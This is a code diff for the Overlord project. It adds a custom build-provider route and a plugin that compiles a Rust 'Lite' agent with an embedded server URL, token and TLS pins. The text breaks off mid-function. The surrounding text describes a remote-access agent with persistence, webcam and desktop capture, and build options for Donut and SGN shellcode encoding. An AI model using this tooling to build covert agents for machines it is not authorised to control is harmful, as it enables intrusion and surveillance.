@@ -95,12 +95,21 @@ async function sanitizeBuildPlugins(
|
|||||||
deps: BuildRouteDeps,
|
deps: BuildRouteDeps,
|
||||||
user: any,
|
user: any,
|
||||||
buildConfig: any,
|
buildConfig: any,
|
||||||
|
requiredProviderId?: string,
|
||||||
): Promise<{ value: Record<string, any>; error?: string }> {
|
): Promise<{ value: Record<string, any>; error?: string }> {
|
||||||
if (!raw || typeof raw !== "object" || !deps.listPluginManifests) return { value: {} };
|
if (!deps.listPluginManifests) return { value: {} };
|
||||||
const manifests = await deps.listPluginManifests();
|
const manifests = await deps.listPluginManifests();
|
||||||
const byId = new Map(manifests.map((m) => [m.id, m]));
|
const byId = new Map(manifests.map((m) => [m.id, m]));
|
||||||
const value: Record<string, any> = {};
|
const value: Record<string, any> = {};
|
||||||
for (const [pluginId, rawPlugin] of Object.entries(raw)) {
|
const requested = raw && typeof raw === "object" && !Array.isArray(raw) ? { ...raw } : {};
|
||||||
|
if (requiredProviderId) {
|
||||||
|
const providerRecord = requested[requiredProviderId];
|
||||||
|
requested[requiredProviderId] = {
|
||||||
|
...(providerRecord && typeof providerRecord === "object" ? providerRecord : {}),
|
||||||
|
enabled: true,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
for (const [pluginId, rawPlugin] of Object.entries(requested)) {
|
||||||
if (!/^[A-Za-z0-9._-]{1,128}$/.test(pluginId)) continue;
|
if (!/^[A-Za-z0-9._-]{1,128}$/.test(pluginId)) continue;
|
||||||
const manifest = byId.get(pluginId);
|
const manifest = byId.get(pluginId);
|
||||||
if (!manifest?.build || !canUserAccessPlugin(user.userId, user.role, pluginId)) continue;
|
if (!manifest?.build || !canUserAccessPlugin(user.userId, user.role, pluginId)) continue;
|
||||||
@@ -183,6 +192,7 @@ export async function handleBuildRoutes(
|
|||||||
const body = await req.json();
|
const body = await req.json();
|
||||||
const {
|
const {
|
||||||
platforms,
|
platforms,
|
||||||
|
buildProvider,
|
||||||
serverUrl,
|
serverUrl,
|
||||||
rawServerList,
|
rawServerList,
|
||||||
solMemo,
|
solMemo,
|
||||||
@@ -263,6 +273,37 @@ export async function handleBuildRoutes(
|
|||||||
return Response.json({ error: "No valid platforms specified" }, { status: 400 });
|
return Response.json({ error: "No valid platforms specified" }, { status: 400 });
|
||||||
}
|
}
|
||||||
|
|
||||||
|
let safeBuildProvider: string | undefined;
|
||||||
|
if (buildProvider !== undefined && buildProvider !== null && String(buildProvider).trim()) {
|
||||||
|
const providerId = String(buildProvider).trim();
|
||||||
|
if (!/^[A-Za-z0-9._-]{1,128}$/.test(providerId) || !deps.listPluginManifests) {
|
||||||
|
return Response.json({ error: "Invalid build provider" }, { status: 400 });
|
||||||
|
}
|
||||||
|
const manifests = await deps.listPluginManifests();
|
||||||
|
const manifest = manifests.find((item) => item?.id === providerId);
|
||||||
|
if (
|
||||||
|
!manifest?.build?.provider ||
|
||||||
|
manifest?.hasServer !== true ||
|
||||||
|
manifest?.enabled === false ||
|
||||||
|
!canUserAccessPlugin(user.userId, user.role, providerId)
|
||||||
|
) {
|
||||||
|
return Response.json({ error: "Build provider is unavailable" }, { status: 403 });
|
||||||
|
}
|
||||||
|
const providerPlatforms = new Set(
|
||||||
|
Array.isArray(manifest.build.provider.platforms)
|
||||||
|
? manifest.build.provider.platforms
|
||||||
|
: [],
|
||||||
|
);
|
||||||
|
const unsupported = allowedPlatforms.filter((platform) => !providerPlatforms.has(platform));
|
||||||
|
if (unsupported.length > 0) {
|
||||||
|
return Response.json(
|
||||||
|
{ error: `Build provider ${manifest.name || providerId} does not support: ${unsupported.join(", ")}` },
|
||||||
|
{ status: 400 },
|
||||||
|
);
|
||||||
|
}
|
||||||
|
safeBuildProvider = providerId;
|
||||||
|
}
|
||||||
|
|
||||||
const safeRawServerList = !!rawServerList;
|
const safeRawServerList = !!rawServerList;
|
||||||
const safeSolMemo = !!solMemo;
|
const safeSolMemo = !!solMemo;
|
||||||
const safeServerUrl =
|
const safeServerUrl =
|
||||||
@@ -383,7 +424,7 @@ export async function handleBuildRoutes(
|
|||||||
username: user.username,
|
username: user.username,
|
||||||
ip,
|
ip,
|
||||||
action: AuditAction.COMMAND,
|
action: AuditAction.COMMAND,
|
||||||
details: `Started build ${buildId} for platforms: ${allowedPlatforms.join(", ")}`,
|
details: `Started ${safeBuildProvider ? `${safeBuildProvider} provider ` : ""}build ${buildId} for platforms: ${allowedPlatforms.join(", ")}`,
|
||||||
success: true,
|
success: true,
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -438,7 +479,7 @@ export async function handleBuildRoutes(
|
|||||||
{ status: 400 },
|
{ status: 400 },
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
const needsMacosSdk = hasDarwinTarget && !disableCgo && process.platform === "linux";
|
const needsMacosSdk = !safeBuildProvider && hasDarwinTarget && !disableCgo && process.platform === "linux";
|
||||||
if (safeOutputSgnTxt) {
|
if (safeOutputSgnTxt) {
|
||||||
const hasSgnCapableTarget = allowedPlatforms.some((p) =>
|
const hasSgnCapableTarget = allowedPlatforms.some((p) =>
|
||||||
(!!useDonut && p.startsWith("windows-")) ||
|
(!!useDonut && p.startsWith("windows-")) ||
|
||||||
@@ -515,6 +556,7 @@ export async function handleBuildRoutes(
|
|||||||
|
|
||||||
const safeBuildConfig: any = {
|
const safeBuildConfig: any = {
|
||||||
platforms: allowedPlatforms,
|
platforms: allowedPlatforms,
|
||||||
|
buildProvider: safeBuildProvider,
|
||||||
serverUrl: safeServerUrl,
|
serverUrl: safeServerUrl,
|
||||||
rawServerList: safeRawServerList,
|
rawServerList: safeRawServerList,
|
||||||
solMemo: safeSolMemo,
|
solMemo: safeSolMemo,
|
||||||
@@ -572,7 +614,13 @@ export async function handleBuildRoutes(
|
|||||||
uploadToFileShare: safeUploadToFileShare,
|
uploadToFileShare: safeUploadToFileShare,
|
||||||
};
|
};
|
||||||
|
|
||||||
const pluginBuildResult = await sanitizeBuildPlugins(buildPlugins, deps, user, safeBuildConfig);
|
const pluginBuildResult = await sanitizeBuildPlugins(
|
||||||
|
buildPlugins,
|
||||||
|
deps,
|
||||||
|
user,
|
||||||
|
safeBuildConfig,
|
||||||
|
safeBuildProvider,
|
||||||
|
);
|
||||||
if (pluginBuildResult.error) {
|
if (pluginBuildResult.error) {
|
||||||
if (rateLimitActive) recordBuildEnd(user.userId);
|
if (rateLimitActive) recordBuildEnd(user.userId);
|
||||||
return Response.json({ error: pluginBuildResult.error }, { status: 400 });
|
return Response.json({ error: pluginBuildResult.error }, { status: 400 });
|
||||||
|
|||||||
@@ -27,6 +27,7 @@ bare-metal installation is strongly recommended instead of Docker Desktop.
|
|||||||
- [Linux](#linux)
|
- [Linux](#linux)
|
||||||
- [macOS](#macos)
|
- [macOS](#macos)
|
||||||
- [Native Bare-Metal Installation](#native-bare-metal-installation)
|
- [Native Bare-Metal Installation](#native-bare-metal-installation)
|
||||||
|
- [Rust Lite Agent](#rust-lite-agent)
|
||||||
- [Production Package Scripts](#production-package-scripts)
|
- [Production Package Scripts](#production-package-scripts)
|
||||||
- [WebRTC Streaming](#webrtc-streaming)
|
- [WebRTC Streaming](#webrtc-streaming)
|
||||||
- [OIDC / SSO Login](#oidc--sso-login)
|
- [OIDC / SSO Login](#oidc--sso-login)
|
||||||
@@ -364,6 +365,15 @@ Production mode:
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## Rust Lite Agent
|
||||||
|
|
||||||
|
`Overlord-Lite` is an experimental Rust client focused on authenticated
|
||||||
|
connections, TLS identity pinning, and heartbeat/reconnect behavior. It
|
||||||
|
supports interactive TTY console sessions while omitting plugins plus the full
|
||||||
|
Go agent's desktop, webcam, audio, persistence, and OS-integration features.
|
||||||
|
See [Overlord-Lite/README.md](Overlord-Lite/README.md) for build instructions,
|
||||||
|
configuration, and Build-page integration.
|
||||||
|
|
||||||
## Production Package Scripts
|
## Production Package Scripts
|
||||||
|
|
||||||
Build a production-ready package where the server can still build client binaries at runtime.
|
Build a production-ready package where the server can still build client binaries at runtime.
|
||||||
@@ -668,6 +678,10 @@ Restart Overlord after changing `.env`. The reverse proxy upstream is then
|
|||||||
and use timeouts/body limits suitable for long sessions and file uploads.
|
and use timeouts/body limits suitable for long sessions and file uploads.
|
||||||
|
|
||||||
Ready-to-copy Caddy and nginx configurations are in `deploy/reverse-proxy/`.
|
Ready-to-copy Caddy and nginx configurations are in `deploy/reverse-proxy/`.
|
||||||
|
Those examples accept TLS 1.3 only. This is also the required deployment mode
|
||||||
|
when strict TLS 1.3 rejection is needed: Bun's native `Bun.serve` TLS listener
|
||||||
|
currently negotiates TLS 1.3 by preference but does not expose an effective
|
||||||
|
per-server minimum-version setting.
|
||||||
|
|
||||||
When enabled:
|
When enabled:
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,10 @@
|
|||||||
# Replace overlord.example.com with the public DNS name. Caddy obtains and
|
# Replace overlord.example.com with the public DNS name. Caddy obtains and
|
||||||
# renews the public certificate automatically.
|
# renews the public certificate automatically.
|
||||||
overlord.example.com {
|
overlord.example.com {
|
||||||
|
tls {
|
||||||
|
protocols tls1.3
|
||||||
|
}
|
||||||
|
|
||||||
reverse_proxy 127.0.0.1:5173 {
|
reverse_proxy 127.0.0.1:5173 {
|
||||||
header_up Host {host}
|
header_up Host {host}
|
||||||
header_up X-Forwarded-Proto https
|
header_up X-Forwarded-Proto https
|
||||||
|
|||||||
@@ -11,6 +11,7 @@ server {
|
|||||||
|
|
||||||
ssl_certificate /etc/letsencrypt/live/overlord.example.com/fullchain.pem;
|
ssl_certificate /etc/letsencrypt/live/overlord.example.com/fullchain.pem;
|
||||||
ssl_certificate_key /etc/letsencrypt/live/overlord.example.com/privkey.pem;
|
ssl_certificate_key /etc/letsencrypt/live/overlord.example.com/privkey.pem;
|
||||||
|
ssl_protocols TLSv1.3;
|
||||||
|
|
||||||
# Keep this at least as large as the uploads allowed by Overlord.
|
# Keep this at least as large as the uploads allowed by Overlord.
|
||||||
client_max_body_size 2g;
|
client_max_body_size 2g;
|
||||||
|
|||||||
+2
-1
@@ -40,8 +40,9 @@ Use `runtime: "native"` for agent-side plugins that need direct OS APIs, native
|
|||||||
|
|
||||||
| Directory | Purpose |
|
| Directory | Purpose |
|
||||||
|-----------|---------|
|
|-----------|---------|
|
||||||
|
| `rust-lite-builder` | Server-side custom provider that builds the authenticated Rust Lite agent. |
|
||||||
| `sample-build-hooks` | Server-only build plugin with its own Build page button and artifact replacement example. |
|
| `sample-build-hooks` | Server-only build plugin with its own Build page button and artifact replacement example. |
|
||||||
| `sample-ts-fullstack` | TypeScript UI plus TypeScript server runtime. |
|
| `sample-ts-fullstack` | TypeScript UI plus TypeScript server runtime. |
|
||||||
| `sample-c`, `sample-cpp`, `sample-go`, `sample-rust` | Native agent plugin examples. |
|
| `sample-c`, `sample-cpp`, `sample-go`, `sample-rust` | Native agent plugin examples. |
|
||||||
|
|
||||||
Start with [docs/server-side-plugins.md](docs/server-side-plugins.md) if you are building uploaders, custom build buttons, artifact post-processing, or internal release hooks.
|
Start with [docs/server-side-plugins.md](docs/server-side-plugins.md) if you are building custom agent providers, uploaders, build buttons, artifact post-processing, or internal release hooks.
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ The `plugins/` directory includes small examples that exercise each plugin style
|
|||||||
|
|
||||||
| Directory | Demonstrates |
|
| Directory | Demonstrates |
|
||||||
|-----------|--------------|
|
|-----------|--------------|
|
||||||
|
| `rust-lite-builder` | Custom server-side build provider that compiles the Rust Lite agent through the standard builder lifecycle. |
|
||||||
| `sample-build-hooks` | Server-only build plugin, custom Build page action, build settings, and replacing the produced artifact with a `.txt` file. |
|
| `sample-build-hooks` | Server-only build plugin, custom Build page action, build settings, and replacing the produced artifact with a `.txt` file. |
|
||||||
| `sample-ts-fullstack` | TypeScript UI and TypeScript server runtime with shared local modules. |
|
| `sample-ts-fullstack` | TypeScript UI and TypeScript server runtime with shared local modules. |
|
||||||
| `sample-c` | Native C plugin for the smallest unloadable ABI surface. |
|
| `sample-c` | Native C plugin for the smallest unloadable ABI surface. |
|
||||||
@@ -11,4 +12,4 @@ The `plugins/` directory includes small examples that exercise each plugin style
|
|||||||
| `sample-go` | Native Go plugin. Go plugins are intentionally not unloaded because the Go runtime cannot be safely unloaded from shared libraries. |
|
| `sample-go` | Native Go plugin. Go plugins are intentionally not unloaded because the Go runtime cannot be safely unloaded from shared libraries. |
|
||||||
| `sample-rust` | Native Rust plugin with C ABI exports and unload-friendly runtime handling. |
|
| `sample-rust` | Native Rust plugin with C ABI exports and unload-friendly runtime handling. |
|
||||||
|
|
||||||
Use `sample-build-hooks` as the starting point for uploaders, artifact publishers, or custom release buttons.
|
Use `rust-lite-builder` as the starting point for a fully custom agent compiler. Use `sample-build-hooks` for uploaders, artifact publishers, or custom release buttons around the built-in agent.
|
||||||
|
|||||||
@@ -297,6 +297,55 @@ Buttons in `build.actions` can set core builder fields through `setBuild` and pl
|
|||||||
|
|
||||||
See `plugins/sample-build-hooks` for a minimal server-only build plugin with its own build button and artifact replacement.
|
See `plugins/sample-build-hooks` for a minimal server-only build plugin with its own build button and artifact replacement.
|
||||||
|
|
||||||
|
## Custom Build Providers
|
||||||
|
|
||||||
|
A server-only plugin can replace the built-in Go compilation step while keeping the normal Build page, permissions, audit log, progress stream, artifact hooks, file-share upload, build history, and expiration handling. Declare the provider and export `onBuild`:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"runtime": "server",
|
||||||
|
"build": {
|
||||||
|
"provider": {
|
||||||
|
"label": "My Lite Agent",
|
||||||
|
"description": "Builds the reduced agent implementation.",
|
||||||
|
"icon": "fa-solid fa-feather",
|
||||||
|
"platforms": ["windows-amd64", "linux-amd64"]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
```js
|
||||||
|
export default {
|
||||||
|
async onBuild(ctx, payload) {
|
||||||
|
ctx.build.status("Compiling lite agent...");
|
||||||
|
ctx.build.output("Compiler started", "info");
|
||||||
|
|
||||||
|
// Write only inside payload.outputDir.
|
||||||
|
const filename = `lite-${payload.platforms[0]}`;
|
||||||
|
await compileAgent({ output: `${payload.outputDir}/${filename}` });
|
||||||
|
return {
|
||||||
|
artifacts: [{
|
||||||
|
name: "Lite Agent",
|
||||||
|
filename,
|
||||||
|
platform: payload.platforms[0],
|
||||||
|
version: "1.0.0"
|
||||||
|
}]
|
||||||
|
};
|
||||||
|
}
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
The provider payload contains `buildId`, `providerId`, `runtimeRoot`, a temporary `outputDir`, selected `platforms`, `serverUrl`, `agentToken`, signed `buildTag`, `tlsSpkiPins`, `initialClientTag`, `outputName`, provider `settings`, and the sanitized full build `config`.
|
||||||
|
|
||||||
|
An artifact entry must contain a selected `platform` and either `filename` or a relative `path` beneath `outputDir`. Optional fields are `name` and `version`. Provider output is limited to 32 regular, non-symlink files of at most 512 MB each. The server validates containment, copies approved files into `dist-clients`, adds the build ID suffix, then invokes normal artifact and completion hooks.
|
||||||
|
|
||||||
|
`ctx.build.output(text, level)` accepts `debug`, `info`, `success`, `warn`, or `error`. `ctx.build.status(text, progress?, etaSeconds?)` changes the Build page status line and can display a progress bar and estimated time remaining. Progress is a number from 0 through 100. These methods exist only during `onBuild`.
|
||||||
|
|
||||||
|
The selected provider must be enabled, include server code, support every requested target, and be accessible to the building user. A provider plugin is forced on for its own build, even if a modified request marks its hook settings as disabled.
|
||||||
|
|
||||||
|
See `plugins/rust-lite-builder` for a complete provider that invokes Cargo and embeds authenticated connection defaults into Overlord Lite.
|
||||||
|
|
||||||
## RBAC And Build Plugin Access
|
## RBAC And Build Plugin Access
|
||||||
|
|
||||||
Build-hook plugins use the normal per-user plugin access policy. Admins can open a user in the Users page, choose Plugin Access, and set one of these modes:
|
Build-hook plugins use the normal per-user plugin access policy. Admins can open a user in the Users page, choose Plugin Access, and set one of these modes:
|
||||||
|
|||||||
@@ -0,0 +1,41 @@
|
|||||||
|
# Rust Lite Builder Plugin
|
||||||
|
|
||||||
|
This trusted server-only plugin registers Rust Lite as an agent build provider.
|
||||||
|
Select **Rust Lite** from the Builder's **Agent Type** field, choose targets, and
|
||||||
|
start the build normally. Output, history, downloads, expiration, rate limits,
|
||||||
|
RBAC, and artifact hooks remain owned by the Overlord server.
|
||||||
|
|
||||||
|
The resulting client supports authenticated enrollment, TLS identity pinning,
|
||||||
|
heartbeat, reconnect behavior, and interactive TTY console sessions. It
|
||||||
|
intentionally contains no plugin loader or other remote command handlers.
|
||||||
|
|
||||||
|
During compilation the Build page shows estimated overall/target percentages,
|
||||||
|
completed Cargo crates, elapsed time, the current compile or link/LTO phase,
|
||||||
|
and a rolling ETA. Cargo does not expose exact link progress, so percentages
|
||||||
|
and ETA are estimates. Completed target durations are retained in plugin data
|
||||||
|
to improve later estimates, and the persistent Cargo target directory makes
|
||||||
|
subsequent builds substantially faster.
|
||||||
|
|
||||||
|
The **Cargo Jobs** setting defaults to `0`, which leaves parallelism at Cargo's
|
||||||
|
host-CPU default. Set a positive number only when the server needs an explicit
|
||||||
|
resource cap. The plugin cache is separate from `Overlord-Lite/target`, so the
|
||||||
|
first plugin build does not reuse artifacts from a manual source-tree build.
|
||||||
|
|
||||||
|
The server host needs Rust 1.88 or newer. Native-host builds work with the
|
||||||
|
standard Rust installation. Cross-target builds additionally require the target
|
||||||
|
from `rustup target add <triple>` and a compatible linker/toolchain.
|
||||||
|
|
||||||
|
The plugin locates `Overlord-Lite` beside the server runtime or under its
|
||||||
|
`dist/` directory. Production package scripts copy that source automatically.
|
||||||
|
|
||||||
|
Builder releases compile in the selected server URL, agent token, and signed
|
||||||
|
build tag. Runtime `OVERLORD_SERVER`, `OVERLORD_AGENT_TOKEN`, and
|
||||||
|
`OVERLORD_BUILD_TAG` variables can still override those defaults.
|
||||||
|
|
||||||
|
Builds also embed the server's active TLS SPKI pins. This lets Lite clients
|
||||||
|
trust the server's generated self-signed certificate without disabling
|
||||||
|
certificate verification and protects later HTTPS plugin downloads too.
|
||||||
|
|
||||||
|
All provider builds use Cargo's `--release` profile. That profile uses
|
||||||
|
`opt-level = "z"`, full LTO, one codegen unit, symbol stripping, and
|
||||||
|
`panic = "abort"`.
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
@echo off
|
||||||
|
setlocal
|
||||||
|
set "PLUGIN_ID=rust-lite-builder"
|
||||||
|
set "OUT=%~dp0%PLUGIN_ID%.zip"
|
||||||
|
if exist "%OUT%" del /q "%OUT%"
|
||||||
|
powershell -NoProfile -ExecutionPolicy Bypass -Command "Compress-Archive -Path '%~dp0config.json','%~dp0rust-lite-builder.html','%~dp0rust-lite-builder.css','%~dp0rust-lite-builder.js','%~dp0server.js' -DestinationPath '%OUT%' -Force"
|
||||||
|
if errorlevel 1 exit /b 1
|
||||||
|
echo [ok] %OUT%
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -euo pipefail
|
||||||
|
ROOT="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
cd "$ROOT"
|
||||||
|
rm -f rust-lite-builder.zip
|
||||||
|
zip -q rust-lite-builder.zip config.json rust-lite-builder.html rust-lite-builder.css rust-lite-builder.js server.js
|
||||||
|
echo "[ok] $ROOT/rust-lite-builder.zip"
|
||||||
@@ -0,0 +1,58 @@
|
|||||||
|
{
|
||||||
|
"name": "Rust Lite Builder",
|
||||||
|
"version": "1.2.0",
|
||||||
|
"apiVersion": 2,
|
||||||
|
"runtime": "server",
|
||||||
|
"description": "Adds a dedicated builder for the authenticated Rust Lite agent with an interactive TTY console.",
|
||||||
|
"build": {
|
||||||
|
"label": "Rust Lite Builder",
|
||||||
|
"description": "Builds the lightweight Rust client instead of the full Go agent.",
|
||||||
|
"enabledByDefault": true,
|
||||||
|
"provider": {
|
||||||
|
"label": "Rust Lite",
|
||||||
|
"description": "Authenticated sessions, TLS pinning, heartbeat, and an interactive TTY console.",
|
||||||
|
"icon": "fa-brands fa-rust",
|
||||||
|
"platforms": [
|
||||||
|
"windows-amd64",
|
||||||
|
"windows-arm64",
|
||||||
|
"linux-amd64",
|
||||||
|
"linux-arm64",
|
||||||
|
"darwin-amd64",
|
||||||
|
"darwin-arm64"
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"settings": [
|
||||||
|
{
|
||||||
|
"key": "locked",
|
||||||
|
"label": "Require Cargo.lock",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": true,
|
||||||
|
"description": "Build with --locked for reproducible dependency resolution."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"key": "jobs",
|
||||||
|
"label": "Cargo Jobs",
|
||||||
|
"type": "number",
|
||||||
|
"default": 0,
|
||||||
|
"min": 0,
|
||||||
|
"max": 32,
|
||||||
|
"description": "Parallel Cargo jobs. Use 0 to let Cargo use the host's available CPUs."
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"actions": [
|
||||||
|
{
|
||||||
|
"id": "use-rust-lite",
|
||||||
|
"label": "Use Rust Lite Builder",
|
||||||
|
"icon": "fa-brands fa-rust",
|
||||||
|
"description": "Selects Rust Lite as the active agent builder.",
|
||||||
|
"setBuild": {
|
||||||
|
"buildProvider": "rust-lite-builder"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"navbar": {
|
||||||
|
"label": "Rust Lite",
|
||||||
|
"icon": "fa-brands fa-rust"
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,49 @@
|
|||||||
|
.rust-lite-builder {
|
||||||
|
display: grid;
|
||||||
|
gap: 1rem;
|
||||||
|
color: #e2e8f0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.rust-lite-builder header {
|
||||||
|
display: flex;
|
||||||
|
align-items: flex-start;
|
||||||
|
justify-content: space-between;
|
||||||
|
gap: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.rust-lite-builder h2 {
|
||||||
|
margin: 0.15rem 0 0.35rem;
|
||||||
|
font-size: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.rust-lite-builder p {
|
||||||
|
margin: 0;
|
||||||
|
color: #94a3b8;
|
||||||
|
}
|
||||||
|
|
||||||
|
.rust-lite-builder .eyebrow {
|
||||||
|
color: #fb923c;
|
||||||
|
font-size: 0.75rem;
|
||||||
|
font-weight: 700;
|
||||||
|
letter-spacing: 0.08em;
|
||||||
|
text-transform: uppercase;
|
||||||
|
}
|
||||||
|
|
||||||
|
.rust-lite-builder button {
|
||||||
|
border: 1px solid #c2410c;
|
||||||
|
border-radius: 0.5rem;
|
||||||
|
background: #9a3412;
|
||||||
|
color: white;
|
||||||
|
cursor: pointer;
|
||||||
|
padding: 0.55rem 0.8rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.rust-lite-builder pre {
|
||||||
|
min-height: 8rem;
|
||||||
|
overflow: auto;
|
||||||
|
border: 1px solid #334155;
|
||||||
|
border-radius: 0.65rem;
|
||||||
|
background: #0f172a;
|
||||||
|
padding: 1rem;
|
||||||
|
white-space: pre-wrap;
|
||||||
|
}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
<main class="rust-lite-builder">
|
||||||
|
<header>
|
||||||
|
<div>
|
||||||
|
<p class="eyebrow">Server build provider</p>
|
||||||
|
<h2>Rust Lite Builder</h2>
|
||||||
|
<p>Builds the authenticated Rust agent with interactive TTY console support through the normal Overlord build workflow.</p>
|
||||||
|
</div>
|
||||||
|
<button id="rust-lite-refresh" type="button">Refresh status</button>
|
||||||
|
</header>
|
||||||
|
<pre id="rust-lite-status">Loading...</pre>
|
||||||
|
</main>
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
const statusOutput = document.getElementById("rust-lite-status");
|
||||||
|
const refreshButton = document.getElementById("rust-lite-refresh");
|
||||||
|
|
||||||
|
async function refreshStatus() {
|
||||||
|
statusOutput.textContent = "Checking Rust Lite builder...";
|
||||||
|
try {
|
||||||
|
const response = await fetch("/api/plugins/rust-lite-builder/rpc", {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: JSON.stringify({ method: "status", params: {} }),
|
||||||
|
});
|
||||||
|
const body = await response.json();
|
||||||
|
if (!body.ok) throw new Error(body.error || "Status check failed");
|
||||||
|
statusOutput.textContent = JSON.stringify(body.result, null, 2);
|
||||||
|
} catch (error) {
|
||||||
|
statusOutput.textContent = `Error: ${error?.message || error}`;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
refreshButton?.addEventListener("click", refreshStatus);
|
||||||
|
refreshStatus();
|
||||||
@@ -0,0 +1,415 @@
|
|||||||
|
import fs from "fs";
|
||||||
|
import path from "path";
|
||||||
|
|
||||||
|
const TARGETS = {
|
||||||
|
"windows-amd64": { windows: "x86_64-pc-windows-msvc", other: "x86_64-pc-windows-gnu", extension: ".exe" },
|
||||||
|
"windows-arm64": { windows: "aarch64-pc-windows-msvc", other: "aarch64-pc-windows-gnullvm", extension: ".exe" },
|
||||||
|
"linux-amd64": { all: "x86_64-unknown-linux-gnu", extension: "" },
|
||||||
|
"linux-arm64": { all: "aarch64-unknown-linux-gnu", extension: "" },
|
||||||
|
"darwin-amd64": { all: "x86_64-apple-darwin", extension: "" },
|
||||||
|
"darwin-arm64": { all: "aarch64-apple-darwin", extension: "" },
|
||||||
|
};
|
||||||
|
|
||||||
|
function rustTarget(platform) {
|
||||||
|
const target = TARGETS[platform];
|
||||||
|
if (!target) throw new Error(`Unsupported Rust Lite platform: ${platform}`);
|
||||||
|
return process.platform === "win32" ? (target.windows || target.all) : (target.other || target.all);
|
||||||
|
}
|
||||||
|
|
||||||
|
function findSource(runtimeRoot) {
|
||||||
|
const candidates = [
|
||||||
|
path.join(runtimeRoot, "Overlord-Lite"),
|
||||||
|
path.join(runtimeRoot, "dist", "Overlord-Lite"),
|
||||||
|
path.join(runtimeRoot, "..", "Overlord-Lite"),
|
||||||
|
];
|
||||||
|
for (const candidate of candidates) {
|
||||||
|
if (fs.existsSync(path.join(candidate, "Cargo.toml"))) return candidate;
|
||||||
|
}
|
||||||
|
throw new Error(`Overlord-Lite source not found. Checked: ${candidates.join(", ")}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function capture(command, cwd) {
|
||||||
|
const proc = Bun.spawn(command, { cwd, stdout: "pipe", stderr: "pipe" });
|
||||||
|
const [stdout, stderr, exitCode] = await Promise.all([
|
||||||
|
new Response(proc.stdout).text(),
|
||||||
|
new Response(proc.stderr).text(),
|
||||||
|
proc.exited,
|
||||||
|
]);
|
||||||
|
if (exitCode !== 0) throw new Error(stderr.trim() || `${command[0]} exited with ${exitCode}`);
|
||||||
|
return stdout.trim();
|
||||||
|
}
|
||||||
|
|
||||||
|
async function streamPipe(stream, onLine) {
|
||||||
|
const reader = stream.getReader();
|
||||||
|
const decoder = new TextDecoder();
|
||||||
|
let pending = "";
|
||||||
|
while (true) {
|
||||||
|
const { done, value } = await reader.read();
|
||||||
|
pending += decoder.decode(value || new Uint8Array(), { stream: !done });
|
||||||
|
const lines = pending.split(/\r?\n/);
|
||||||
|
pending = lines.pop() || "";
|
||||||
|
for (const line of lines) if (line.trim()) onLine(line);
|
||||||
|
if (done) break;
|
||||||
|
}
|
||||||
|
if (pending.trim()) onLine(pending);
|
||||||
|
}
|
||||||
|
|
||||||
|
function packageVersion(sourceDir) {
|
||||||
|
const cargo = fs.readFileSync(path.join(sourceDir, "Cargo.toml"), "utf8");
|
||||||
|
return cargo.match(/^version\s*=\s*"([^"]+)"/m)?.[1] || "unknown";
|
||||||
|
}
|
||||||
|
|
||||||
|
function formatDuration(milliseconds) {
|
||||||
|
const seconds = Math.max(0, Math.round(milliseconds / 1000));
|
||||||
|
if (seconds < 60) return `${seconds}s`;
|
||||||
|
const minutes = Math.floor(seconds / 60);
|
||||||
|
const remainingSeconds = seconds % 60;
|
||||||
|
if (minutes < 60) return remainingSeconds ? `${minutes}m ${remainingSeconds}s` : `${minutes}m`;
|
||||||
|
const hours = Math.floor(minutes / 60);
|
||||||
|
const remainingMinutes = minutes % 60;
|
||||||
|
return remainingMinutes ? `${hours}h ${remainingMinutes}m` : `${hours}h`;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function estimatePackageCount(sourceDir, target, locked) {
|
||||||
|
const args = [
|
||||||
|
"cargo",
|
||||||
|
"tree",
|
||||||
|
"--target",
|
||||||
|
target,
|
||||||
|
"--prefix",
|
||||||
|
"none",
|
||||||
|
"--format",
|
||||||
|
"{p}",
|
||||||
|
];
|
||||||
|
if (locked) args.push("--locked");
|
||||||
|
const output = await capture(args, sourceDir);
|
||||||
|
const packages = new Set(
|
||||||
|
output
|
||||||
|
.split(/\r?\n/)
|
||||||
|
.map((line) => line.replace(/ \(\*\)$/, "").replace(/ \(proc-macro\)$/, "").trim())
|
||||||
|
.filter(Boolean),
|
||||||
|
);
|
||||||
|
return packages.size;
|
||||||
|
}
|
||||||
|
|
||||||
|
function readBuildHistory(dataDir) {
|
||||||
|
try {
|
||||||
|
const parsed = JSON.parse(fs.readFileSync(path.join(dataDir, "build-history.json"), "utf8"));
|
||||||
|
return parsed && typeof parsed === "object" ? parsed : {};
|
||||||
|
} catch {
|
||||||
|
return {};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function recordBuildDuration(dataDir, target, durationMs) {
|
||||||
|
const historyPath = path.join(dataDir, "build-history.json");
|
||||||
|
const history = readBuildHistory(dataDir);
|
||||||
|
const previous = Number(history[target]?.durationMs);
|
||||||
|
